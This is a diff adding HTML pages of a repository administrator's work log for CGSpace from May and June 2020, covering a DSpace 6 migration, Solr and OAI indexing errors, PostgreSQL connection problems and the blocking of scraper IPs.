    • +
+

2020-05-20

+
    +
  • Send CodeObia some logos and footer text for the next phase of OpenRXV development (#18)
    • +
+

2020-05-25

+
    +
  • Add ORCID identifier for CIAT author Manuel Francisco +
      +
    • I added it to the controlled vocabulary and tagged the user’s existing ~27 items in CGSpace using this CSV file with my add-orcid-identifiers-csv.py script:
      • +
    +
    • +
+
$ cat 2020-05-25-add-orcids.csv
+dc.contributor.author,cg.creator.id
+"Díaz, Manuel F.","Manuel Francisco Diaz Baca: 0000-0001-8996-5092"
+"Díaz, Manuel Francisco","Manuel Francisco Diaz Baca: 0000-0001-8996-5092"
+$ ./add-orcid-identifiers-csv.py -i 2020-05-25-add-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • Last week Maria asked again about searching for items by accession or issue date +
      +
    • A few months ago I had told her to search for the ISO8601 date in Discovery search, which appears to work because it filters the results down quite a bit
      • +
    • She pointed out that the results include hits that don’t exactly match, for example if part of the search string appears elsewhere like in the timestamp
      • +
    • I checked in Solr and the results are the same, so perhaps it’s a limitation in Solr…?
      • +
    • So this effectively means that we don’t have a way to create reports for items in an arbitrary date range shorter than a year: +
        +
      • DSpace advanced search is buggy or simply not designed to work like that
        • +
      • AReS Explorer currently only allows filtering by year, but will allow months soon
        • +
      • Atmire Listings and Reports only allows a “Timespan” of a year
        • +
      +
      • +
    +
    • +
+

2020-05-29

+
    +
  • Linode alerted to say that the CPU load on CGSpace (linode18) was high for a few hours this morning +
      +
    • Looking at the nginx logs for this morning with goaccess:
      • +
    +
    • +
+
# cat /var/log/nginx/*.log.1 | grep -E "29/May/2020:(02|03|04|05)" | goaccess --log-format=COMBINED -
+
    +
  • The top is 172.104.229.92, which is the AReS harvester (still not using a user agent, but it’s tagged as a bot in the nginx mapping)
    • +
  • Second is 188.134.31.88, which is a Russian host that we also saw in the last few weeks, using a browser user agent and hitting the XMLUI (but it is tagged as a bot in nginx as well)
    • +
  • Another one is 51.158.106.4, which is some Scaleway IP making requests to XMLUI with different browser user agents that I am pretty sure I have seen before but never blocked +
      +
    • According to Solr it has made about 800 requests this year, but still… it’s a bot.
      • +
    +
    • +
  • One I don’t think I’ve seen before is 95.217.58.146, which is making requests to XMLUI with a Drupal user agent + +
    • +
  • Atmire got back to me about the Solr CUA issue in the DSpace 6 upgrade and they cannot reproduce the error +
      +
    • The next step is for me to migrate DSpace Test (linode26) to DSpace 6 and try to reproduce the error there
      • +
    +
    • +
+

2020-05-31

+
    +
  • Start preparing to migrate DSpace Test (linode26) to the 6_x-dev-atmire-modules branch +
      +
    • Run all system updates and reboot
      • +
    • For now I will disable all yearly Solr statistics cores except the current statistics one
      • +
    • Prepare PostgreSQL with a clean snapshot of CGSpace’s DSpace 5.8 database:
      • +
    +
    • +
+
$ sudo su - postgres
+$ dropdb dspacetest
+$ createdb -O dspacetest --encoding=UNICODE dspacetest
+$ psql dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -d dspacetest -O --role=dspacetest /tmp/cgspace_2020-05-31.backup
+$ psql dspacetest -c 'alter user dspacetest nosuperuser;'
+# run DSpace 5 version of update-sequences.sql!!!
+$ psql -f /home/dspace/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+$ psql dspacetest -c "DELETE FROM schema_version WHERE version IN ('5.8.2015.12.03.3');"
+$ psql dspacetest -c 'CREATE EXTENSION pgcrypto;'
+$ exit
+
    +
  • Now switch to the DSpace 6.x branch and start a build:
    • +
+
$ chrt -i 0 ionice -c2 -n7 nice -n19 mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false package
+...
+[ERROR] Failed to execute goal on project additions: Could not resolve dependencies for project org.dspace.modules:additions:jar:6.3: Failed to collect dependencies at com.atmire:atmire-listings-and-reports-api:jar:6.x-2.10.8-0-SNAPSHOT: Failed to read artifact descriptor for com.atmire:atmire-listings-and-reports-api:jar:6.x-2.10.8-0-SNAPSHOT: Could not transfer artifact com.atmire:atmire-listings-and-reports-api:pom:6.x-2.10.8-0-SNAPSHOT from/to atmire.com-snapshots (https://atmire.com/artifactory/atmire.com-snapshots): Not authorized , ReasonPhrase:Unauthorized. -> [Help 1]
+
    +
  • Great! I will have to send Atmire a note about this… but for now I can sync over my local ~/.m2 directory and the build completes
    • +
  • After the Maven build completed successfully I installed the updated code with Ant (make sure to delete the old spring directory):
    • +
+
$ cd dspace/target/dspace-installer
+$ rm -rf /blah/dspacetest/config/spring
+$ ant update
+
    +
  • Database migrations take 10:18.287s during the first startup… +
      +
    • perhaps when we do the production CGSpace migration I can do this in advance and tell users not to make any submissions?
      • +
    +
    • +
  • I had a mistake in my Solr internal URL parameter so DSpace couldn’t find it, but once I fixed that DSpace starts up OK!
    • +
  • Once the initial Discovery reindexing was completed (after three hours or so!) I started the Solr statistics UUID migration:
    • +
+
$ export JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8"
+$ dspace solr-upgrade-statistics-6x -i statistics -n 250000
+$ dspace solr-upgrade-statistics-6x -i statistics -n 1000000
+$ dspace solr-upgrade-statistics-6x -i statistics -n 1000000
+...
+
    +
  • It’s taking about 35 minutes for 1,000,000 records…
    • +
  • Some issues towards the end of this core:
    • +
+
Exception: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:68)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:54)
+        at org.dspace.util.SolrUpgradePre6xStatistics.batchUpdateStats(SolrUpgradePre6xStatistics.java:161)
+        at org.dspace.util.SolrUpgradePre6xStatistics.run(SolrUpgradePre6xStatistics.java:456)
+        at org.dspace.util.SolrUpgradePre6xStatistics.main(SolrUpgradePre6xStatistics.java:365)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • So basically there are some documents that have IDs that have not been converted to UUID, and have not been labeled as “unmigrated” either… +
      +
    • Of these 101,257 documents, 90,000 are of type 5 (search), 9,000 are type storage, and 800 are type view, but it’s weird because if I look at their type/statistics_type using a facet the storage ones disappear…
      • +
    • For now I will export these documents from the statistics core and then delete them:
      • +
    +
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics -a export -o statistics-unmigrated.json -k uid -f '(*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)'
+$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>(*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)</query></delete>"
+
    +
  • Now the UUID conversion script says there is nothing left to convert, so I can try to run the Atmire CUA conversion utility:
    • +
+
$ export JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8"
+$ dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 1
+
    +
  • The processing is very slow and there are lots of errors like this:
    • +
+
Record uid: 7b5b3900-28e8-417f-9c1c-e7d88a753221 couldn't be processed
+com.atmire.statistics.util.update.atomic.ProcessingException: something went wrong while processing record uid: 7b5b3900-28e8-417f-9c1c-e7d88a753221, an error occured in the com.atmire.statistics.util.update.atomic.processor.ContainerOwnerDBProcessor
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(AtomicStatisticsUpdater.java:304)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.processRecords(AtomicStatisticsUpdater.java:176)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(AtomicStatisticsUpdater.java:161)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(AtomicStatisticsUpdater.java:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(AtomicStatisticsUpdateCLI.java:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: java.lang.NullPointerException
+
    +
  • Experiment a bit with the Python country-converter library as it can convert between different formats (like ISO 3166 and UN m49) +
      +
    • We need to eventually find a format we can use for all CGIAR DSpaces…
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-06/index.html b/docs/2020-06/index.html new file mode 100644 index 000000000..6f942d5b6 --- /dev/null +++ b/docs/2020-06/index.html @@ -0,0 +1,865 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2020

+

+ + in + Notes + + +

+
+

2020-06-01

+
    +
  • I tried to run the AtomicStatisticsUpdateCLI CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +
      +
    • I sent Atmire the dspace.log from today and told them to log into the server to debug the process
      • +
    +
    • +
  • In other news, I checked the statistics API on DSpace 6 and it’s working
    • +
  • I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:
    • +
+
$ dspace oai import -c
+OAI 2.0 manager action started
+Loading @mire database changes for module MQM
+Changes have been processed
+Clearing index
+Index cleared
+Using full import.
+Full import
+java.lang.NullPointerException
+        at org.dspace.xoai.app.XOAI.willChangeStatus(XOAI.java:438)
+        at org.dspace.xoai.app.XOAI.index(XOAI.java:368)
+        at org.dspace.xoai.app.XOAI.index(XOAI.java:280)
+        at org.dspace.xoai.app.XOAI.indexAll(XOAI.java:227)
+        at org.dspace.xoai.app.XOAI.index(XOAI.java:134)
+        at org.dspace.xoai.app.XOAI.main(XOAI.java:560)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+

2020-06-02

+
    +
  • I noticed that I was able to do a partial OAI import (ie, without -c) +
      +
    • Then I tried to clear the OAI Solr core and import, but I get the same error:
      • +
    +
    • +
+
$ curl http://localhost:8080/solr/oai/update -H "Content-type: text/xml" --data-binary '<delete><query>*:*</query></delete>'
+$ curl http://localhost:8080/solr/oai/update -H "Content-type: text/xml" --data-binary '<commit />'
+$ ~/dspace63/bin/dspace oai import
+OAI 2.0 manager action started
+...
+There are no indexed documents, using full import.
+Full import
+java.lang.NullPointerException
+        at org.dspace.xoai.app.XOAI.willChangeStatus(XOAI.java:438)
+        at org.dspace.xoai.app.XOAI.index(XOAI.java:368)
+        at org.dspace.xoai.app.XOAI.index(XOAI.java:280)
+        at org.dspace.xoai.app.XOAI.indexAll(XOAI.java:227)
+        at org.dspace.xoai.app.XOAI.index(XOAI.java:143)
+        at org.dspace.xoai.app.XOAI.main(XOAI.java:560)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • I found a bug report on DSpace Jira describing this issue affecting someone else running DSpace 6.3 +
      +
    • They suspect it has to do with the item having some missing group names in its authorization policies
      • +
    • I added some debugging to dspace-oai/src/main/java/org/dspace/xoai/app/XOAI.java to print the Handle of the item that causes the crash and then I looked at its authorization policies
      • +
    • Indeed there are some blank group names:
      • +
    +
    • +
+

Missing group names in DSpace 6.3 item authorization policy

+
    +
  • The same item on CGSpace (DSpace 5.8) also has groups with no name:
    • +
+

Missing group names in DSpace 5.8 item authorization policy

+
    +
  • I added some debugging and found exactly where this happens +
      +
    • As it turns out we can just check if the group policy is null there and it allows the OAI import to proceed
      • +
    • Aaaaand as it turns out, this was fixed in dspace-6_x in 2018 after DSpace 6.3 was released (see DS-4019), so that was a waste of three hours.
      • +
    • I cherry picked 150e83558103ed7f50e8f323b6407b9cbdf33717 into our current 6_x-dev-atmire-modules branch
      • +
    +
    • +
+

2020-06-04

+
    +
  • Maria was asking about some items they are trying to map from the CGIAR Big Data collection into their Alliance of Bioversity and CIAT journal articles collection, but for some reason the items don’t show up in the item mapper +
      +
    • The items don’t even show up in the XMLUI Discover advanced search, and actually I don’t even see any recent items on the recently submitted part of the collection (but the item pages exist of course)
      • +
    • Perhaps I need to try a full Discovery re-index:
      • +
    +
    • +
+
$ time chrt -i 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    125m37.423s
+user    11m20.312s
+sys     3m19.965s
+
    +
  • Still I don’t see the item in XMLUI search or in the item mapper (and I made sure to clear the Cocoon cache) +
      +
    • I’m starting to think it’s something related to the database transaction issue…
      • +
    • I removed our custom JDBC driver from /usr/local/apache-tomcat... so that DSpace will use its own much older one, version 9.1-901-1.jdbc4
      • +
    • I ran all system updates on the server (linode18) and rebooted it
      • +
    • After it came back up I had to restart Tomcat five times before all Solr statistics cores came up properly
      • +
    • Unfortunately this means that the Tomcat JDBC pooling via JNDI doesn’t work, so we’re using only the 30 connections reserved for the DSpace CLI from DSpace’s own internal pool
      • +
    • Perhaps our previous issues with the database pool from a few years ago will be less now that we have much more aggressive blocking and rate limiting of bots in nginx
      • +
    +
    • +
  • I will also import a fresh database snapshot from CGSpace and check if I can map the item in my local environment +
      +
    • After importing and forcing a full reindex locally I can see the item in search and in the item mapper
      • +
    +
    • +
  • Abenet sent another message about two users who are having issues with submission, and I see the number of locks in PostgreSQL has sky rocketed again as of a few days ago:
    • +
+

PostgreSQL locks week

+
    +
  • As far as I can tell this started happening for the first time in April, connections and locks:
    • +
+

PostgreSQL connections year +PostgreSQL locks year

+
    +
  • I think I need to just leave this as is with the DSpace default JDBC driver for now, but perhaps I could also downgrade the Tomcat version (I deployed Tomcat 7.0.103 in March, so perhaps that’s relevant)
    • +
  • Also, I’ll start another full reindexing to see if the issue with mapping is somehow also resolved now that the database connections are working better +
      +
    • Perhaps related, but this one finished much faster:
      • +
    +
    • +
+
$ time chrt -i 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    101m41.195s
+user    10m9.569s
+sys     3m13.929s
+
    +
  • Unfortunately the item is still not showing up in the item mapper…
    • +
  • Something happened to AReS Explorer (linode20) so I ran all system updates and rebooted it
    • +
+

2020-06-07

+
    +
  • Peter said he was annoyed with a CSV export from CGSpace because of the different text_lang attributes and asked if we can fix it
    • +
  • The last time I normalized these was in 2019-06, and currently it looks like this:
    • +
+
dspace=# SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE resource_type_id=2 GROUP BY text_lang ORDER BY count DESC;
+  text_lang  |  count
+-------------+---------
+ en_US       | 2158377
+ en          |  149540
+             |   49206
+ es_ES       |      18
+ fr          |       4
+ Peer Review |       1
+             |       0
+(7 rows)
+
    +
  • In theory we can have different languages for metadata fields but in practice we don’t do that, so we might as well normalize everything to “en_US” (and perhaps I should make a curation task to do this)
    • +
  • For now I will do it manually on CGSpace and DSpace Test:
    • +
+
dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2;
+UPDATE 2414738
+
+
dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item);
+
    +
  • Peter asked if it was possible to find all ILRI items that have “zoonoses” or “zoonotic” in their titles and check if they have the ILRI subject “ZOONOTIC DISEASES” (and add it if not) +
      +
    • Unfortunately the only way we have currently would be to export the entire ILRI community as a CSV and filter/edit it in OpenRefine
      • +
    +
    • +
+

2020-06-08

+
    +
  • I manually mapped the two Big Data items that Maria had asked about last week by exporting their metadata to CSV and re-importing it +
      +
    • I still need to look into the underlying issue there, seems to be something in Solr
      • +
    • Something strang is that, when I search for part of the title in Discovery I get 2,000 results on CGSpace, while on my local DSpace 5.8 environment I get 2!
      • +
    +
    • +
+

CGSpace Discovery search results

+

CGSpace Discovery search results

+
    +
  • On DSpace Test, which is currently running DSpace 6, I get 2,000 results but the top one is the correct match and the item does show up in the item mapper +
      +
    • Interestingly, if I search directly in the Solr search core on CGSpace with a query like handle:10568/108315 I don’t see the item, but on my local Solr I see them!
      • +
    +
    • +
  • Peter asked if it was easy for me to add ILRI subject “ZOONOTIC DISEASES” to any items in the ILRI community that had “zoonotic” or “zoonoses” in their title, but were missing the ILRI subject +
      +
    • I exported the ILRI community metadata, cut the three fields I needed, and then filtered and edited the CSV in OpenRefine:
      • +
    +
    • +
+
$ dspace metadata-export -i 10568/1 -f /tmp/2020-06-08-ILRI.csv
+$ csvcut -c 'id,cg.subject.ilri[en_US],dc.title[en_US]' ~/Downloads/2020-06-08-ILRI.csv > /tmp/ilri.csv
+
    +
  • Moayad asked why he’s getting HTTP 500 errors on CGSpace +
      +
    • I looked in the Nginx logs and I see some HTTP 500 responses, but nothing in nginx’s error.log
      • +
    • Looking in Tomcat’s log I see there are many:
      • +
    +
    • +
+
# journalctl --since=today -u tomcat7  | grep -c 'Internal Server Error'
+482
+
    +
  • They are all related to the REST API, like:
    • +
+
Jun 07 02:00:27 linode18 tomcat7[6286]: SEVERE: Mapped exception to response: 500 (Internal Server Error)
+Jun 07 02:00:27 linode18 tomcat7[6286]: javax.ws.rs.WebApplicationException
+Jun 07 02:00:27 linode18 tomcat7[6286]:         at org.dspace.rest.Resource.processException(Resource.java:151)
+Jun 07 02:00:27 linode18 tomcat7[6286]:         at org.dspace.rest.ItemsResource.getItems(ItemsResource.java:195)
+Jun 07 02:00:27 linode18 tomcat7[6286]:         at sun.reflect.GeneratedMethodAccessor548.invoke(Unknown Source)
+Jun 07 02:00:27 linode18 tomcat7[6286]:         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+Jun 07 02:00:27 linode18 tomcat7[6286]:         at java.lang.reflect.Method.invoke(Method.java:498)
+Jun 07 02:00:27 linode18 tomcat7[6286]:         at com.sun.jersey.spi.container.JavaMethodInvokerFactory$1.invoke(JavaMethodInvokerFactory.java:60)
+...
+
    +
  • And:
    • +
+
Jun 08 09:28:29 linode18 tomcat7[6286]: SEVERE: Mapped exception to response: 500 (Internal Server Error)
+Jun 08 09:28:29 linode18 tomcat7[6286]: javax.ws.rs.WebApplicationException
+Jun 08 09:28:29 linode18 tomcat7[6286]:         at org.dspace.rest.Resource.processFinally(Resource.java:169)
+Jun 08 09:28:29 linode18 tomcat7[6286]:         at org.dspace.rest.HandleResource.getObject(HandleResource.java:81)
+Jun 08 09:28:29 linode18 tomcat7[6286]:         at sun.reflect.GeneratedMethodAccessor360.invoke(Unknown Source)
+Jun 08 09:28:29 linode18 tomcat7[6286]:         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+Jun 08 09:28:29 linode18 tomcat7[6286]:         at java.lang.reflect.Method.invoke(Method.java:498)
+
    +
  • And:
    • +
+
Jun 06 08:19:54 linode18 tomcat7[6286]: SEVERE: Mapped exception to response: 500 (Internal Server Error)
+Jun 06 08:19:54 linode18 tomcat7[6286]: javax.ws.rs.WebApplicationException
+Jun 06 08:19:54 linode18 tomcat7[6286]:         at org.dspace.rest.Resource.processException(Resource.java:151)
+Jun 06 08:19:54 linode18 tomcat7[6286]:         at org.dspace.rest.CollectionsResource.getCollectionItems(CollectionsResource.java:289)
+Jun 06 08:19:54 linode18 tomcat7[6286]:         at sun.reflect.GeneratedMethodAccessor598.invoke(Unknown Source)
+Jun 06 08:19:54 linode18 tomcat7[6286]:         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+Jun 06 08:19:54 linode18 tomcat7[6286]:         at java.lang.reflect.Method.invoke(Method.java:498)
+
    +
  • Looking back, I see ~800 of these errors since I changed the database configuration last week:
    • +
+
# journalctl --since=2020-06-04 --until=today -u tomcat7 | grep -c 'javax.ws.rs.WebApplicationException'
+795
+
    +
  • And only ~280 in the entire month before that…
    • +
+
# journalctl --since=2020-05-01 --until=2020-06-04 -u tomcat7 | grep -c 'javax.ws.rs.WebApplicationException'
+286
+
    +
  • So it seems to be related to the database, perhaps that there are less connections in the pool? +
      +
    • … and on that note, working without the JDBC driver and DSpace’s built-in connection pool since 2020-06-04 hasn’t actually solved anything, the issue with locks and idle in transaction connections is creeping up again!
      • +
    +
    • +
+

PostgreSQL connections day +PostgreSQL connections week

+
    +
  • It seems to have started today around 10:00 AM… I need to pore over the logs to see if there is a correlation +
      +
    • I think there is some kind of attack going on because I see a bunch of requests for sequential Handles from a similar IP range in a datacenter in Sweden where the user does not re-use their DSpace session_id
      • +
    • Looking in the nginx logs I see most (all?) of these requests are using the following user agent:
      • +
    +
    • +
+
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
+
    +
  • Looking at the nginx access logs I see that, other than something that seems like Google Feedburner, all hosts using this user agent are all in Sweden!
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.*.gz | grep 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' | grep -v '/feed' | awk '{print $1}' | sort | uniq -c | sort -n
+   1624 192.36.136.246
+   1627 192.36.241.95
+   1629 192.165.45.204
+   1636 192.36.119.28
+   1641 192.36.217.7
+   1648 192.121.146.160
+   1648 192.36.23.35
+   1651 192.36.109.94
+   1659 192.36.24.93
+   1665 192.36.154.13
+   1679 192.36.137.125
+   1682 192.176.249.42
+   1682 192.36.166.120
+   1683 192.36.172.86
+   1683 192.36.198.145
+   1689 192.36.226.212
+   1702 192.121.136.49
+   1704 192.36.207.54
+   1740 192.36.121.98
+   1774 192.36.173.93
+
    +
  • The earliest I see any of these hosts is 2020-06-05 (three days ago)
    • +
  • I will purge them from the Solr statistics and add them to abusive IPs ipset in the Ansible deployment scripts
    • +
+
$ ./check-spider-ip-hits.sh -f /tmp/ips -s statistics -p
+Purging 1423 hits from 192.36.136.246 in statistics
+Purging 1387 hits from 192.36.241.95 in statistics
+Purging 1398 hits from 192.165.45.204 in statistics
+Purging 1413 hits from 192.36.119.28 in statistics
+Purging 1418 hits from 192.36.217.7 in statistics
+Purging 1418 hits from 192.121.146.160 in statistics
+Purging 1416 hits from 192.36.23.35 in statistics
+Purging 1449 hits from 192.36.109.94 in statistics
+Purging 1440 hits from 192.36.24.93 in statistics
+Purging 1465 hits from 192.36.154.13 in statistics
+Purging 1447 hits from 192.36.137.125 in statistics
+Purging 1453 hits from 192.176.249.42 in statistics
+Purging 1462 hits from 192.36.166.120 in statistics
+Purging 1499 hits from 192.36.172.86 in statistics
+Purging 1457 hits from 192.36.198.145 in statistics
+Purging 1467 hits from 192.36.226.212 in statistics
+Purging 1489 hits from 192.121.136.49 in statistics
+Purging 1478 hits from 192.36.207.54 in statistics
+Purging 1502 hits from 192.36.121.98 in statistics
+Purging 1544 hits from 192.36.173.93 in statistics
+
+Total number of bot hits purged: 29025
+
    +
  • Skype with Enrico, Moayad, Jane, Peter, and Abenet to see the latest OpenRXV/AReS developments +
      +
    • One thing Enrico mentioned to me during the call was that they had issues with Altmetric’s user agents, and he said they are apparently using Altmetribot and Postgenomic V2
      • +
    • I looked in our logs and indeed we have those, so I will add them to the nginx rate limit bypass
      • +
    • I checked the Solr stats and it seems there are only a few thousand in 2016 and a few hundred in other years so I won’t bother adding it to the DSpace robot user agents list
      • +
    +
    • +
  • Atmire sent an updated pull request for the Font Awesome 5 update for CUA (#445) so I filed feedback on their tracker
    • +
+

2020-06-09

+
    +
  • I’m still thinking about the issue with PostgreSQL “idle in transaction” and “waiting for lock” connections +
      +
    • As far as I can see from the Munin graphs this issue started in late April or early May
      • +
    • I don’t see any PostgreSQL updates around then, though I did update Tomcat to version 7.0.103 in March
      • +
    • I will try to downgrade Tomcat to 7.0.99, which was the version I was using until early February, before we had seen any issues
      • +
    • Also, I will use the PostgreSQL JDBC driver version 42.2.9, which is what we were using back then as well
      • +
    • After deploying Tomcat 7.0.99 I had to restart Tomcat three times before all the Solr statistics cores came up OK
      • +
    +
    • +
  • Well look at that, the “idle in transaction” and locking issues started in April on DSpace Test too…
    • +
+

PostgreSQL connections year DSpace Test

+

2020-06-13

+
    +
  • Atmire sent some questions about DSpace Test related to our ongoing CUA indexing issue +
      +
    • I had to clarify a few build steps and directories on the test server
      • +
    +
    • +
  • I notice that the PostgreSQL connection issues have not come back since 2020-06-09 when I downgraded Tomcat to 7.0.99… fingers crossed that it was something related to that! +
      +
    • On that note I notice that the AReS explorer is still not harvesting CGSpace properly…
      • +
    • I looked at the REST API logs on CGSpace (linode18) and saw that the AReS harvester is being denied due to not having a user agent, oops:
      • +
    +
    • +
+
172.104.229.92 - - [13/Jun/2020:02:00:00 +0200] "GET /rest/items?expand=metadata,bitstreams,parentCommunityList&limit=50&offset=0 HTTP/1.1" 403 260 "-" "-"
+
    +
  • I created an nginx map based on the host’s IP address that sets a temporary user agent (ua) and then changed the conditional in the REST API location block so that it checks this mapped ua instead of the default one +
      +
    • That should allow AReS to harvest for now until they update their user agent
      • +
    • I restarted the AReS server’s docker containers with docker-compose down and docker-compose up -d and the next day I saw CGSpace was in AReS again finally
      • +
    +
    • +
+

2020-06-14

+
    +
  • Abenet asked for a list of authors from CIP’s community so that Gabriela can make some corrections +
      +
    • I generated a list of collections in CIPs two communities using the REST API:
      • +
    +
    • +
+
$ curl -s 'https://cgspace.cgiar.org/rest/handle/10568/51671?expand=collections' 'https://cgspace.cgiar.org/rest/handle/10568/89346?expand=collections' | grep -oE '10568/[0-9]+' | sort | uniq > /tmp/cip-collections.txt
+
    +
  • Then I formatted it into a SQL query and exported a CSV:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value AS author, COUNT(*) FROM metadatavalue WHERE metadata_field_id = (SELECT metadata_field_id FROM metadatafieldregistry WHERE element = 'contributor' AND qualifier = 'author') AND resource_type_id = 2 AND resource_id IN (SELECT item_id FROM collection2item WHERE collection_id IN (SELECT resource_id FROM hANDle WHERE hANDle IN ('10568/100533', '10568/100653', '10568/101955', '10568/106580', '10568/108469', '10568/51671', '10568/53085', '10568/53086', '10568/53087', '10568/53088', '10568/53089', '10568/53090', '10568/53091', '10568/53092', '10568/53093', '10568/53094', '10568/64874', '10568/69069', '10568/70150', '10568/88229', '10568/89346', '10568/89347', '10568/99301', '10568/99302', '10568/99303', '10568/99304', '10568/99428'))) GROUP BY text_value ORDER BY count DESC) TO /tmp/cip-authors.csv WITH CSV;
+COPY 3917
+

2020-06-15

+
    +
  • Macaroni Bros emailed me to say that they are having issues with thumbnail links on the REST API +
      +
    • For some reason all the bitstream retrieveLink links are wrong because they use /bitstreams/ instead of /rest/bitstreams/, which leads to an HTTP 404
      • +
    • I looked on DSpace Test, which is running DSpace 6 dev branch right now, and the links are OK there!
      • +
    • Looks like someone reported this issue on DSpace 6
      • +
    • Other large DSpace 5 sites have this same issue: https://openknowledge.worldbank.org/handle/10986/30568
      • +
    • I can’t believe nobody ever noticed this before…
      • +
    • I tried to port the patch from DS-3193 to DSpace 5.x and it builds, but causes an HTTP 500 Internal Server error when generating bitstream links
      • +
    • Well the correct URL should have /rest/ anyways, and that’s how the URLs are in DSpace 6 anyways, so I will tell Macaroni to just make sure that those links use /rest/
      • +
    +
    • +
+

2020-06-16

+
    +
  • Looks like the PostgreSQL connection/lock issue might be fixed because it’s been six days with no reoccurrence:
    • +
+

PostgreSQL connections week

+
    +
  • And CGSpace is being harvested successfully by AReS every day still
    • +
  • Fix some CIP subjects that had two different styles of dashes, causing them to show up differently in Discovery +
      +
    • SWEETPOTATO AGRI‐FOOD SYSTEMS → SWEETPOTATO AGRI-FOOD SYSTEMS
      • +
    • POTATO AGRI‐FOOD SYSTEMS → POTATO AGRI-FOOD SYSTEMS
      • +
    +
    • +
  • They also asked me to update INCLUSIVE VALUE CHAINS to INCLUSIVE GROWTH, both in the existing items on CGSpace and the submission form
    • +
+

2020-06-18

+
